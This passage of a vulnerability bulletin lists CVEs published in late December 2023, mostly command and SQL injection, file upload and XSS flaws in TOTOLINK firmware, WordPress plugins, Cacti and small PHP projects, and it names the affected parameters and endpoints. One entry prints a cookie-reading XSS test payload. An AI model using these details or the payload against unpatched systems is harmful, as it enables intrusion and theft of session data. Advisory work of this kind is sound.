totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘opmode’ parameter of the setWiFiApConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51018
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘key5g’ parameter of the setWiFiExtenderConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51019
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘langType’ parameter of the setLanguageCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51020
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘merge’ parameter of the setRptWizardCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51021
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘langFlag’ parameter of the setLanguageCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51022
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to arbitrary command execution in the ‘host_time’ parameter of the NTPSyncWithHost interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51023
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘tz’ parameter of the setNtpCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51024
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to an unauthorized arbitrary command execution in the ‘admuser’ parameter of the setPasswordCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51025
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘hour’ parameter of the setRebootScheCfg interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51026
[email protected]
totolink — ex1800t_firmwareTOTOlink EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the ‘apcliAuthMode’ parameter of the setWiFiExtenderConfig interface of the cstecgi .cgi.2023-12-229.8CVE-2023-51027
[email protected]
totolink — ex1800t_firmwareTOTOLINK EX1800T 9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the apcliChannel parameter of the setWiFiExtenderConfig interface of the cstecgi.cgi.2023-12-229.8CVE-2023-51028
[email protected]
wasmer — wasmerWasmer is a WebAssembly runtime that enables containers to run anywhere: from Desktop to the Cloud, Edge and even the browser. Wasm programs can access the filesystem outside of the sandbox. Service providers running untrusted Wasm code on Wasmer can unexpectedly expose the host filesystem. This vulnerability has been patched in version 4.2.4.2023-12-228.4CVE-2023-51661
[email protected]
[email protected]
[email protected]
ween_software — admin_panelImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Ween Software Admin Panel allows SQL Injection. This issue affects Admin Panel: through 20231229.  NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-299.8CVE-2023-4541
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in David F. Carr RSVPMaker. This issue affects RSVPMaker: from n/a through 10.6.6.2023-12-2910CVE-2023-25054
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Shabti Kaplan Frontend Admin by DynamiApps. This issue affects Frontend Admin by DynamiApps: from n/a through 3.18.3.2023-12-2910CVE-2023-51411
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Bertha.Ai BERTHA AI. Your AI co-pilot for WordPress and Chrome. This issue affects BERTHA AI. Your AI co-pilot for WordPress and Chrome: from n/a through 1.11.10.7.2023-12-2910CVE-2023-51419
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Jacques Malgrange Rencontre – Dating Site. This issue affects Rencontre – Dating Site: from n/a through 3.10.1.2023-12-2910CVE-2023-51468
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Pixelemu TerraClassifieds – Simple Classifieds Plugin. This issue affects TerraClassifieds – Simple Classifieds Plugin: from n/a through 2.0.3.2023-12-2910CVE-2023-51473
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in IOSS WP MLM SOFTWARE PLUGIN. This issue affects WP MLM SOFTWARE PLUGIN: from n/a through 4.0.2023-12-2910CVE-2023-51475
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in realmag777 Active Products Tables for WooCommerce. Professional products tables for WooCommerce store. This issue affects Active Products Tables for WooCommerce. Professional products tables for WooCommerce store: from n/a through 1.0.6.2023-12-2910CVE-2023-51505
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in Milan Dini? Rename Media Files. This issue affects Rename Media Files: from n/a through 1.0.1.2023-12-299.9CVE-2023-32095
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in Kanban for WordPress Kanban Boards for WordPress. This issue affects Kanban Boards for WordPress: from n/a through 2.5.21.2023-12-299.1CVE-2023-40606
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in POSIMYTH Nexter Extension. This issue affects Nexter Extension: from n/a through 2.0.3.2023-12-299.1CVE-2023-45751
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in TienCOP WP EXtra. This issue affects WP EXtra: from n/a through 6.2.2023-12-299.9CVE-2023-46623
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in Qode Interactive Qode Essential Addons. This issue affects Qode Essential Addons: from n/a through 1.5.2.2023-12-299.9CVE-2023-47840
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in Brainstorm Force Astra Pro. This issue affects Astra Pro: from n/a through 4.3.1.2023-12-299.9CVE-2023-49830
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in JS Help Desk JS Help Desk – Best Help Desk & Support Plugin. This issue affects JS Help Desk – Best Help Desk & Support Plugin: from n/a through 2.8.1.2023-12-289.3CVE-2023-50839
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in WPVibes WP Mail Log. This issue affects WP Mail Log: from n/a through 1.1.2.2023-12-299.9CVE-2023-51410
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Piotnet Piotnet Forms. This issue affects Piotnet Forms: from n/a through 1.0.25.2023-12-299CVE-2023-51412
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in EnvialoSimple EnvíaloSimple: Email Marketing y Newsletters. This issue affects EnvíaloSimple: Email Marketing y Newsletters: from n/a through 2.1.2023-12-299.6CVE-2023-51414
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Joris van Montfort JVM Gutenberg Rich Text Icons. This issue affects JVM Gutenberg Rich Text Icons: from n/a through 1.2.3.2023-12-299.9CVE-2023-51417
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in Soft8Soft LLC Verge3D Publishing and E-Commerce. This issue affects Verge3D Publishing and E-Commerce: from n/a through 4.5.2.2023-12-299.1CVE-2023-51420
[email protected]
wordpress — wordpressUnrestricted Upload of File with Dangerous Type vulnerability in Soft8Soft LLC Verge3D Publishing and E-Commerce. This issue affects Verge3D Publishing and E-Commerce: from n/a through 4.5.2.2023-12-299.9CVE-2023-51421
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in Saleswonder Team Webinar Plugin: Create live/evergreen/automated/instant webinars, stream & Zoom Meetings | WebinarIgnition. This issue affects Webinar Plugin: Create live/evergreen/automated/instant webinars, stream & Zoom Meetings | WebinarIgnition: from n/a through 3.05.0.2023-12-299.9CVE-2023-51422
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in Jacques Malgrange Rencontre – Dating Site. This issue affects Rencontre – Dating Site: from n/a through 3.11.1.2023-12-299.9CVE-2023-51470
[email protected]
wordpress — wordpressCross-Site Request Forgery (CSRF), Deserialization of Untrusted Data vulnerability in ThemeHigh Job Manager & Career – Manage job board listings, and recruitments. This issue affects Job Manager & Career – Manage job board listings, and recruitments: from n/a through 1.4.4.2023-12-299.6CVE-2023-51545
[email protected]
wordpress — wordpressThe Backup Migration plugin for WordPress is vulnerable to Remote File Inclusion in versions 1.0.8 to 1.3.9 via the ‘content-dir’ HTTP header. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. NOTE: Successful exploitation of this vulnerability requires that the target server’s php.ini is configured with ‘allow_url_include’ set to ‘on’. This feature is deprecated as of PHP 7.4 and is disabled by default, but can still be explicitly enabled in later versions of PHP.2023-12-239.8CVE-2023-6971
[email protected]
[email protected]
[email protected]
wordpress — wordpressThe Backup Migration plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.9 via the ‘content-backups’ and ‘content-name’, ‘content-manifest’, or ‘content-bmitmp’ and ‘content-identy’ HTTP headers. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible.2023-12-239.8CVE-2023-6972
[email protected]
[email protected]
[email protected]
[email protected]
wordpress — wordpressExposure of Sensitive Information to an Unauthorized Actor vulnerability in miniOrange miniOrange’s Google Authenticator – WordPress Two Factor Authentication – 2FA, Two Factor, OTP SMS and Email | Passwordless login. This issue affects miniOrange’s Google Authenticator – WordPress Two Factor Authentication – 2FA, Two Factor, OTP SMS and Email | Passwordless login: from n/a through 5.6.1.2023-12-298.1CVE-2022-44589
[email protected]
wordpress — wordpressImproper Control of Generation of Code (‘Code Injection’) vulnerability in BinaryStash WP Booklet. This issue affects WP Booklet: from n/a through 2.1.8.2023-12-298.5CVE-2023-22677
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in WooCommerce Product Add-Ons. This issue affects Product Add-Ons: from n/a through 6.1.3.2023-12-288.2CVE-2023-32795
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in wpdevelop, oplugins Booking Manager. This issue affects Booking Manager: from n/a through 2.1.5.2023-12-288.5CVE-2023-50840
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Repute Infosystems BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin. This issue affects BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin: from n/a through 1.0.72.2023-12-288.5CVE-2023-50841
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Matthew Fries MF Gig Calendar. This issue affects MF Gig Calendar: from n/a through 1.2.1.2023-12-288.5CVE-2023-50842
[email protected]
wordpress — wordpressDeserialization of Untrusted Data vulnerability in GiveWP GiveWP – Donation Plugin and Fundraising Platform. This issue affects GiveWP – Donation Plugin and Fundraising Platform: from n/a through 2.25.3.2023-12-287.5CVE-2023-32513
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in WebFactory Ltd Login Lockdown – Protect Login Form. This issue affects Login Lockdown – Protect Login Form: from n/a through 2.06.2023-12-297.6CVE-2023-50837
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Basix NEX-Forms – Ultimate Form Builder – Contact forms and much more. This issue affects NEX-Forms – Ultimate Form Builder – Contact forms and much more: from n/a through 8.5.5.2023-12-287.6CVE-2023-50838
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Clockwork Clockwork SMS Notifications. This issue affects Clockwork SMS Notifications: from n/a through 3.0.4.2023-12-287.6CVE-2023-50843
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in James Ward Mail logging – WP Mail Catcher. This issue affects Mail logging – WP Mail Catcher: from n/a through 2.1.3.2023-12-287.6CVE-2023-50844
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in AyeCode – WordPress Business Directory Plugins GeoDirectory – WordPress Business Directory Plugin, or Classified Directory. This issue affects GeoDirectory – WordPress Business Directory Plugin, or Classified Directory: from n/a through 2.3.28.2023-12-287.6CVE-2023-50845
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in RegistrationMagic RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login. This issue affects RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login: from n/a through 5.2.4.5.2023-12-287.6CVE-2023-50846
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Collne Inc. Welcart e-Commerce. This issue affects Welcart e-Commerce: from n/a through 2.9.3.2023-12-287.6CVE-2023-50847
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Aaron J 404 Solution. This issue affects 404 Solution: from n/a through 2.34.0.2023-12-287.6CVE-2023-50848
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in E2Pdf.Com E2Pdf – Export To Pdf Tool for WordPress. This issue affects E2Pdf – Export To Pdf Tool for WordPress: from n/a through 1.20.23.2023-12-287.6CVE-2023-50849
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in N Squared Appointment Booking Calendar – Simply Schedule Appointments Booking Plugin. This issue affects Appointment Booking Calendar – Simply Schedule Appointments Booking Plugin: from n/a before 1.6.6.1.2023-12-287.6CVE-2023-50851
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in StylemixThemes Booking Calendar | Appointment Booking | BookIt. This issue affects Booking Calendar | Appointment Booking | BookIt: from n/a through 2.4.3.2023-12-287.6CVE-2023-50852
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Nasirahmed Advanced Form Integration – Connect WooCommerce and Contact Form 7 to Google Sheets and other platforms. This issue affects Advanced Form Integration – Connect WooCommerce and Contact Form 7 to Google Sheets and other platforms: from n/a through 1.75.0.2023-12-287.6CVE-2023-50853
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Squirrly Squirrly SEO – Advanced Pack. This issue affects Squirrly SEO – Advanced Pack: from n/a through 2.3.8.2023-12-287.6CVE-2023-50854
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Sam Perrow Pre* Party Resource Hints. This issue affects Pre* Party Resource Hints: from n/a through 1.8.18.2023-12-287.6CVE-2023-50855
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in FunnelKit Funnel Builder for WordPress by FunnelKit – Customize WooCommerce Checkout Pages, Create Sales Funnels & Maximize Profits. This issue affects Funnel Builder for WordPress by FunnelKit – Customize WooCommerce Checkout Pages, Create Sales Funnels & Maximize Profits: from n/a through 2.14.3.2023-12-287.6CVE-2023-50856
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in FunnelKit Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit. This issue affects Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit: from n/a through 2.6.1.2023-12-287.6CVE-2023-50857
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in CodexThemes TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme allows Reflected XSS. This issue affects TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme: from n/a through 5.9.1.2023-12-297.1CVE-2023-50892
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in UpSolution Impreza – WordPress Website and WooCommerce Builder allows Reflected XSS. This issue affects Impreza – WordPress Website and WooCommerce Builder: from n/a through 8.17.4.2023-12-297.1CVE-2023-50893
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in HasThemes HT Mega – Absolute Addons For Elementor allows Reflected XSS. This issue affects HT Mega – Absolute Addons For Elementor: from n/a through 2.3.8.2023-12-297.1CVE-2023-50901
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Ian Kennerley Google Photos Gallery with Shortcodes allows Reflected XSS. This issue affects Google Photos Gallery with Shortcodes: from n/a through 4.0.2.2023-12-297.1CVE-2023-51373
[email protected]
wordpress — wordpressImproper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Undsgn Uncode – Creative & WooCommerce WordPress Theme allows Reflected XSS. This issue affects Uncode – Creative & WooCommerce WordPress Theme: from n/a through 2.8.6.2023-12-287.1CVE-2023-51501
[email protected]
wordpress — wordpressImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in WS Form WS Form LITE – Drag & Drop Contact Form Builder for WordPress. This issue affects WS Form LITE – Drag & Drop Contact Form Builder for WordPress: from n/a through 1.9.170.2023-12-297.6CVE-2023-52135
[email protected]
wordpress — wordpressThe Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 1.3.9 via the ‘url’ parameter. This vulnerability allows authenticated attackers, with administrator-level permissions and above, to execute arbitrary commands on the host operating system.2023-12-237.2CVE-2023-7002
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
yaztek_software_technologies_and_computer_systems — e-commerce_softwareImproper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Yaztek Software Technologies and Computer Systems E-Commerce Software allows SQL Injection. This issue affects E-Commerce Software: through 20231229.  NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-299.8CVE-2023-4674
[email protected]

Back to top

 

Medium Vulnerabilities

Primary
Vendor — Product
DescriptionPublishedCVSS ScoreSource & Patch Info
advplyr — audiobookshelfAudiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.7.0, Audiobookshelf is vulnerable to unauthenticated blind server-side request (SSRF) vulnerability in Auth.js. This vulnerability has been addressed in version 2.7.0. There are no known workarounds for this vulnerability.2023-12-274.3CVE-2023-51665
[email protected]
[email protected]
advplyr — audiobookshelfAudiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.7.0, Audiobookshelf is vulnerable to unauthenticated blind server-side request (SSRF) vulnerability in `podcastUtils.js`. This vulnerability has been addressed in version 2.7.0. There are no known workarounds for this vulnerability.2023-12-274.3CVE-2023-51697
[email protected]
[email protected]
aws — aws-sdk-phpAWS SDK for PHP is the Amazon Web Services software development kit for PHP. Within the scope of requests to S3 object keys and/or prefixes containing a Unix double-dot, a URI path traversal is possible. The issue exists in the `buildEndpoint` method in the RestSerializer component of the AWS SDK for PHP v3 prior to 3.288.1. The `buildEndpoint` method relies on the Guzzle Psr7 UriResolver utility, which strips dot segments from the request path in accordance with RFC 3986. Under certain conditions, this could lead to an arbitrary object being accessed. This issue has been patched in version 3.288.1.2023-12-226CVE-2023-51651
[email protected]
[email protected]
[email protected]
cacti — cactiCacti is an open source operational monitoring and fault management framework. A reflection cross-site scripting vulnerability was discovered in version 1.2.25. Attackers can exploit this vulnerability to perform actions on behalf of other users. The vulnerability is found in `templates_import.php.` When uploading an xml template file, if the XML file does not pass the check, the server will give a JavaScript pop-up prompt, which contains unfiltered xml template file name, resulting in XSS. An attacker exploiting this vulnerability could execute actions on behalf of other users. This ability to impersonate users could lead to unauthorized changes to settings. As of time of publication, no patched versions are available.2023-12-226.1CVE-2023-50250
[email protected]
[email protected]
cacti — cactiReflected Cross Site Scripting (XSS) vulnerability in Cacti v1.2.25, allows remote attackers to escalate privileges when uploading an xml template file via templates_import.php.2023-12-226.1CVE-2023-50569
[email protected]
[email protected]
cacti — cactiCacti is a robust performance and fault management framework and a frontend to RRDTool – a Time Series Database (TSDB). Bypassing an earlier fix (CVE-2023-39360) that leads to a DOM XSS attack. Exploitation of the vulnerability is possible for an authorized user. The vulnerable component is the `graphs_new.php`. Impact of the vulnerability – execution of arbitrary javascript code in the attacked user’s browser. This issue has been patched in version 1.2.26.2023-12-225.4CVE-2023-49086
[email protected]
cacti — cactiCacti is an open source operational monitoring and fault management framework. The fix applied for CVE-2023-39515 in version 1.2.25 is incomplete as it enables an adversary to have a victim browser execute malicious code when a victim user hovers their mouse over the malicious data source path in `data_debug.php`. To perform the cross-site scripting attack, the adversary needs to be an authorized cacti user with the following permissions: `General Administration>Sites/Devices/Data`. The victim of this attack could be any account with permissions to view `http://<HOST>/cacti/data_debug.php`. As of time of publication, no complete fix has been included in Cacti.2023-12-224.8CVE-2023-49088
[email protected]
[email protected]
[email protected]
campcodes — chic_beauty_salonA vulnerability classified as critical was found in Campcodes Chic Beauty Salon 20230703. Affected by this vulnerability is an unknown functionality of the file product-list.php of the component Product Handler. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249157 was assigned to this vulnerability.2023-12-294.7CVE-2023-7150
[email protected]
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability was found in Campcodes Online College Library System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/borrow_add.php of the component HTTP POST Request Handler. The manipulation of the argument student leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249362 is the identifier assigned to this vulnerability.2023-12-304.7CVE-2023-7175
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability classified as critical has been found in Campcodes Online College Library System 1.0. This affects an unknown part of the file /admin/return_add.php of the component HTTP POST Request Handler. The manipulation of the argument student leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249363.2023-12-304.7CVE-2023-7176
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability classified as critical was found in Campcodes Online College Library System 1.0. This vulnerability affects unknown code of the file /admin/book_add.php of the component HTTP POST Request Handler. The manipulation of the argument category leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249364.2023-12-304.7CVE-2023-7177
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability, which was classified as critical, has been found in Campcodes Online College Library System 1.0. This issue affects some unknown processing of the file /admin/book_row.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249365 was assigned to this vulnerability.2023-12-304.7CVE-2023-7178
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability, which was classified as critical, was found in Campcodes Online College Library System 1.0. Affected is an unknown function of the file /admin/category_row.php of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249366 is the identifier assigned to this vulnerability.2023-12-304.7CVE-2023-7179
[email protected]
[email protected]
[email protected]
campcodes — online_college_library_systemA vulnerability was found in Muyun DedeBIZ up to 6.2.12 and classified as critical. Affected by this issue is some unknown functionality of the component Add Attachment Handler. The manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249368. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.2023-12-304.7CVE-2023-7181
[email protected]
[email protected]
[email protected]
cloudflare — wranglerSending specially crafted HTTP requests and inspector messages to Wrangler’s dev server could result in any file on the user’s computer being accessible over the local network. An attacker that could trick any user on the local network into opening a malicious website could also read any file.2023-12-296.4CVE-2023-7079
[email protected]
[email protected]
[email protected]
code-projects — automated_voting_systemA vulnerability classified as critical has been found in code-projects Automated Voting System 1.0. This affects an unknown part of the file /admin/ of the component Admin Login. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249129 was assigned to this vulnerability.2023-12-286.3CVE-2023-7126
[email protected]
[email protected]
[email protected]
code-projects — automated_voting_systemA vulnerability classified as critical was found in code-projects Automated Voting System 1.0. This vulnerability affects unknown code of the component Login. The manipulation of the argument idno leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249130 is the identifier assigned to this vulnerability.2023-12-286.3CVE-2023-7127
[email protected]
[email protected]
[email protected]
code-projects — automated_voting_systemA vulnerability, which was classified as critical, has been found in code-projects Voting System 1.0. This issue affects some unknown processing of the file /admin/ of the component Admin Login. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249131.2023-12-286.3CVE-2023-7128
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability, which was classified as critical, has been found in code-projects Client Details System 1.0. Affected by this issue is some unknown functionality of the component HTTP POST Request Handler. The manipulation of the argument uemail leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249140.2023-12-286.3CVE-2023-7137
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability, which was classified as critical, was found in code-projects Client Details System 1.0. This affects an unknown part of the file /admin of the component HTTP POST Request Handler. The manipulation of the argument username leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249141 was assigned to this vulnerability.2023-12-286.3CVE-2023-7138
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability has been found in code-projects Client Details System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /admin/regester.php of the component HTTP POST Request Handler. The manipulation of the argument fname/lname/email/contact leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249142 is the identifier assigned to this vulnerability.2023-12-284.3CVE-2023-7139
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability was found in code-projects Client Details System 1.0 and classified as problematic. This issue affects some unknown processing of the file /admin/manage-users.php. The manipulation of the argument id leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249143.2023-12-284.3CVE-2023-7140
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability was found in code-projects Client Details System 1.0. It has been classified as problematic. Affected is an unknown function of the file /admin/update-clients.php. The manipulation of the argument uid leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249144.2023-12-294.3CVE-2023-7141
[email protected]
[email protected]
[email protected]
code-projects — client_details_systemA vulnerability was found in code-projects Client Details System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/clientview.php. The manipulation of the argument ID leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-249145 was assigned to this vulnerability.2023-12-294.3CVE-2023-7142
[email protected]
[email protected]
[email protected]
code-projects — e-commerce_siteA vulnerability, which was classified as problematic, was found in code-projects E-Commerce Site 1.0. Affected is an unknown function of the file search.php. The manipulation of the argument keyword with the input <video/src=x onerror=alert(document.cookie)> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249096.2023-12-284.3CVE-2023-7124
[email protected]
[email protected]
[email protected]
code-projects — faculty_management_systemA vulnerability, which was classified as problematic, has been found in code-projects Faculty Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/pages/yearlevel.php. The manipulation of the argument Year Level/Section leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248744.2023-12-226.1CVE-2023-7057
[email protected]
[email protected]
[email protected]
code-projects — faculty_management_systemA vulnerability classified as problematic was found in code-projects Faculty Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/pages/subjects.php. The manipulation of the argument Description/Units leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248743.2023-12-225.4CVE-2023-7056
[email protected]
[email protected]
[email protected]
code-projects — intern_membership_management_systemA vulnerability was found in code-projects Intern Membership Management System 2.0 and classified as critical. Affected by this issue is some unknown functionality of the file /user_registration/ of the component User Registration. The manipulation of the argument userName leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-249134 is the identifier assigned to this vulnerability.2023-12-286.3CVE-2023-7131
[email protected]
[email protected]
[email protected]
code-projects — point_of_sales_and_inventory_management_systemA vulnerability was found in code-projects Point of Sales and Inventory Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /main/checkout.php. The manipulation of the argument pt leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248846 is the identifier assigned to this vulnerability.2023-12-226.1CVE-2023-7075
[email protected]
[email protected]
[email protected]
code-projects — voting_systemA vulnerability, which was classified as critical, was found in code-projects Voting System 1.0. Affected is an unknown function of the component Voters Login. The manipulation of the argument voter leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249132.2023-12-285.5CVE-2023-7129
[email protected]
[email protected]
[email protected]
concrete_cms — concrete_cmsConcrete CMS 9 before 9.2.3 is vulnerable to Cross Site Request Forgery (CSRF) via /ccm/system/dialogs/logs/delete_all/submit. An attacker can force an admin user to delete server report logs on a web application to which they are currently authenticated.2023-12-254.3CVE-2023-48652
[email protected]
[email protected]
dell — cpg_bios
 
